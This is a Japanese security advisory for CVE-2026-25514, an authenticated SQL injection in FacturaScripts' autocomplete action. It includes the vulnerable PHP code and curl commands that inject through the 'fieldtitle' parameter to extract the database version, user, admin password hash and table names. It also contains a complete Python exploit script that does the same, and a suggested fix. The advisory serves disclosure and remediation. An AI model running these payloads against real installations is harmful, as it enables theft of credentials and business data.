
CVE-2026-25514 - FacturaScripts のオートコンプリートアクションにおけるSQLインジェクション
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-25514 |
| 深刻度 | HIGH |
| アドバイザリ | アドバイザリを表示 |
| 発見者 | Lukasz Rybak |
FacturaScriptsのオートコンプリート機能には重大なSQLインジェクションの脆弱性が存在し、認証された攻撃者がデータベースからユーザー認証情報、構成設定、保存されているすべての業務データを含む機密データを抽出できるようになります。この脆弱性はCodeModel::all()メソッドに存在し、ユーザー指定のパラメータがサニタイズやパラメータ化バインドなしでSQLクエリに直接連結されます。
CopyModel、ListController、PanelControllerを含むFacturaScriptsの複数のコントローラは、CodeModel::search()またはCodeModel::all()メソッドを介してユーザー入力を処理するオートコンプリートアクションを実装しています。これらのメソッドは、検証やエスケープなしでユーザー制御のパラメータを直接連結してSQLクエリを構築します。
ファイル: /Core/Model/CodeModel.php
メソッド: all()
行: 108-109
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// VULNERABLE CODE:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
以下のパラメータはSQLインジェクションに対して脆弱です:
source → $tableNameにマッピング - テーブル名インジェクションfieldcode → $fieldCodeにマッピング - 列名インジェクションfieldtitle → $fieldDescriptionにマッピング - 列名インジェクション(主な攻撃ベクトル)action=autocompleteを指定して/CopyModelにPOSTリクエストを送信するfieldtitleパラメータを介して悪意のあるSQL関数/クエリが注入されるFacturaScriptsはMultiRequestProtectionを使用するため、すべてのPOSTリクエストには有効なmultireqtokenが必要です。
1. 初期トークンとセッションクッキーの取得:
FacturaScriptsは/を/loginにリダイレクトするため、-Lでリダイレクトを追跡し、-cでセッションクッキーを保存します。
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
2. 認証(ログイン): 保存したクッキーとトークンを使用してログインします。
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
3. データベースバージョンの抽出: 次のリクエスト用に新しいトークンを取得し、インジェクションを実行します。
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
4. データベースユーザーと名前の抽出:
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
5. 管理者パスワードハッシュの抽出:
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""
import requests
import re
import json
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
session = requests.Session()
def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None
def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()
data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)
if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")
def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None
def main():
login()
print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")
# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")
# 4. All table names
print("[*] Extracting table names...")
res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
if res:
print(f"[+] Tables: {res[0]['value']}")
print("\n[+] Exploitation complete!")
if __name__ == "__main__":
main()
このSQLインジェクションの脆弱性は**重大(CRITICAL)**な影響をもたらします:
オプション1: プリペアドステートメントの使用
// File: Core/Model/CodeModel.php
// Method: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... validation code ...
// Validate and escape identifiers
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// Use parameterized query
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
発見者: Łukasz Rybak
このCVEは、調整された脆弱性開示の慣行に従って責任を持って開示されました。ここに記載されている情報は、教育および防御目的のみを目的としています。